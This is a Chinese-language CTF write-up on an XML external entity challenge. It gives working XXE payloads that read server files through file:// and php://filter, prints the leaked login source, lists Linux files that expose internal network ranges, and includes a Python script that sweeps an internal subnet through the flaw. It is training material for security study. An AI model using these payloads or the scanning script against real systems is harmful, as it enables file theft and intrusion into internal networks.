TRY
尝试XML外部实体注入
xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
出现报错:
Warning : DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16
xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
使用绝对路径回显code 0,因该是引入成功了但是看不到源码。
应该是我记错了,file协议不能用相对路径,只能用绝对路径
xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
成功拿到源码:
php
<?php
$USERNAME = 'admin';
$PASSWORD = '024b87931a03f738fff6693ce0a78c88';
$result = null;
libxml_disable_entity_loader(false);//允许解析外部实体
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
外部实体没有禁用,但是不知道flag的位置。感觉可以尝试反弹shell或者注入一句话木马。
WP
flag在内网上,考点是利用XXE进行内网探测。
/etc/hosts 是一个在类 Unix 系统(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允许用户手动指定 IP 地址与域名(或主机名)的映射关系,优先级高于 DNS 服务器解析。
读取结果:
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
127.0.0.1 localhost
发现和题解有所不同,并没有暴露IP线索。
在 Linux 系统中,以下文件可能包含或暴露 IP 网段相关信息:
- /etc/hosts
存放本地静态 IP 与主机名的映射关系,可能包含本机或局域网内的 IP 网段信息,例如局域网设备的固定 IP 配置。 - /etc/network/interfaces (Debian/Ubuntu 系统)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系统)
存储网络接口的配置信息,包括 IP 地址、子网掩码、网关等,直接暴露本机所在的 IP 网段。 - /proc/net/fib_trie - 内核维护的路由信息数据结构,包含系统当前所有已知的 IP 网段路由条目,可通过该文件分析系统可达的网络网段。
4.** /etc/resolv.conf - 存放 DNS 服务器的 IP 地址,这些 DNS 服务器的 IP 可能属于特定网段,间接暴露网络环境的 IP 规划。
5. /var/log/syslog 、 /var/log/messages ** 等系统日志文件
日志中可能记录网络连接、服务启动等信息,包含访问过的 IP 地址或网段(如 SSH 登录记录、服务绑定的 IP 等)。
6.** /proc/net/arp - 存放当前 ARP 缓存表,包含局域网内设备的 IP 与 MAC 地址映射,直接暴露本地局域网的 IP 网段。
7. /etc/netplan/*.yaml**(现代 Ubuntu 系统)
网络配置文件,包含 IP 地址、子网掩码、网关等信息,与 interfaces 文件作用类似,暴露本机所在网段。 - /proc/net/tcp 和 /proc/net/udp-记录当前系统建立的 TCP/UDP 连接信息,包含本地和远程的 IP 地址及端口,可从中提取涉及的 IP 网段。
这些文件中,网络配置文件(如 interfaces、netplan)和路由 / 连接信息文件(如 fib_trie、arp、tcp)是暴露 IP 网段最直接的来源。
从/proc/net/fib_trie中得到:
Main:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
看到暴露的一个IP:10.244.166.182
利用bp探测该网段下存活IP,因为没能设置INTRUDER的响应超时,太慢了。用脚本跑一下:
python
import requests
from requests.exceptions import Timeout
# 目标URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"
# 请求头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0",
"Accept": "application/xml, text/xml, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/xml;charset=utf-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81",
"Connection": "close",
"Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/",
"Priority": "u=0"
}
for i in range(1, 255):
print(i)
# 请求体数据
data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'
try:
# 发送POST请求
response = requests.post(
url,
headers=headers,
data=data,
verify=False,
timeout=1
)
# 检查HTTP错误状态码(4xx, 5xx)
response.raise_for_status()
# 打印响应结果
print("状态码:", response.status_code)
print("响应内容:", response.text)
except Timeout:
print("错误: 请求超时,服务器未在指定时间内响应")

说明存在内网10.244.166.191
总结
首先是基础的XML外部实体注入,然后利用该漏洞探测内网。绝大部分情况下expect://协议肯定是不被允许的,所以无法执行系统命令反弹shell。